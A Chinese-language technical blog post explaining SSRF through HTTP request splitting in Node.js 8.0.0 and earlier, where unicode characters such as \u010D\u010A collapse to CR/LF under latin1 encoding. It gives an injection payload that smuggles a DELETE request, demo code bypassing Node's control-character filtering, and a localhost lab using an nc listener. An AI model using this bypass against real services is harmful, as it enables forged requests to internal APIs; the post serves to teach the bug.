学习通过拆分攻击实现的SSRF攻击

0xGeekCat · 2020-9-7 · 次阅读


HTTP请求路径中的unicode字符损坏

screenshot

报告者使用Node.js向特定路径发出HTTP请求,但是发出的请求实际上被定向到了不一样的路径,后来报告者发现这个问题是由Node.js将HTTP请求写入路径时对unicode字符的有损编码引起的

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用latin1,这是一种单字节编码,不能表示高编号的unicode字符;相反这些字符被截断为其JavaScript表示的最低字节

v = '/caf\u{E9}\u{01F436}'
console.log(v)

w = Buffer.from(v, 'latin1').toString('latin1')
console.log(w)

screenshot 1

两字节组成的unicode编码转换成单字节的latin1时会被截去第一个字节

console.log(Buffer.from('\u{5b}', 'latin1').toString()) → [
console.log(Buffer.from('\u{015b}', 'latin1').toString()) → [

console.log(Buffer.from('\u{0128}', 'latin1').toString()) → (
console.log(Buffer.from('\u{28}', 'latin1').toString()) → (

通过拆分请求实现的SSRF攻击

基本文本的协比如HTTP,通常很脆弱。假设一个服务器接受用户输入,并将其包含在通过HTTP公开的内部服务请求中

GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key

如果服务器未正确验证用户输入,则攻击者可以直接注入协议控制字符到请求

假设这种情况下服务器接受用户输入x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n(\r\n表示另起一行);在发出请求时,服务器可能会直接将其拼接到请求头

GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key

接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE,其无法知道调用者的意图

实际上这种精心构造的用户输入会欺骗服务器,使其发出额外的请求,这种情况被称为服务器端请求伪造。服务器可能拥有攻击者不具有的权限,例如访问内网或者秘密api密钥,这就进一步加剧了问题的严重性

好的HTTP库通通常包含阻止这一行为的措施,Node.js也不例外

如果尝试发出一个路径中含有控制字符的HTTP请求,控制字符会被修改

👇搭建一个http server

// Node v8.0.0
var http = require('http')
var server = http.createServer(function (req, res) {
    res.end()
})

server.listen(3000)

👇发出http请求

// Node v8.0.0
const http = require('http')

a = http.get('http://localhost:3000/\\r\\n/test').output
console.log(a)

screenshot 2

利用unicode字符损坏可以实现这层waf的绕过

👇包含一些带变音符号的unicode字符

a = 'http://example.com/\u{010D}\u{010A}/test'
console.log(a)

screenshot 3

当Node.js版本小于等于8.0.0时对此URL发出GET请求时,它不会被修改,因为它们不是HTTP控制字符

const http = require('http')

a = http.get('http://localhost:3000/\u{010D}\u{010A}/test').output
b = http.get('http://localhost:3000/\u010D\u010A/test').output
console.log(a)
console.log(b)

screenshot 4

但是当结果字符串被编码为latin1后写入路径时,这些字符将分别被截断为\r\n

console.log(Buffer.from('http://localhost:3000/\u{010D}\u{010A}/test', 'latin1').toString())
console.log(Buffer.from('http://localhost:3000/čĊ/test', 'latin1').toString())

screenshot 5

通过在请求路径中包含精心选择的unicode字符,攻击者可以欺骗Node.js将HTTP协议控制字符写入路径

补充说明

console.log('\u{0d}' === '\r') → true
console.log('\u{0a}' === '\n') → true

简单模拟环境

screenshot 39

node v8.0.0向本机8000端口发起拆分请求

var http = require('http')
http.get("http://127.0.0.1:8000/čĊ/test")

8000端口开启监听

nc -l 8000

screenshot 38

reference

Security Bugs in Practice: SSRF via Request Splitting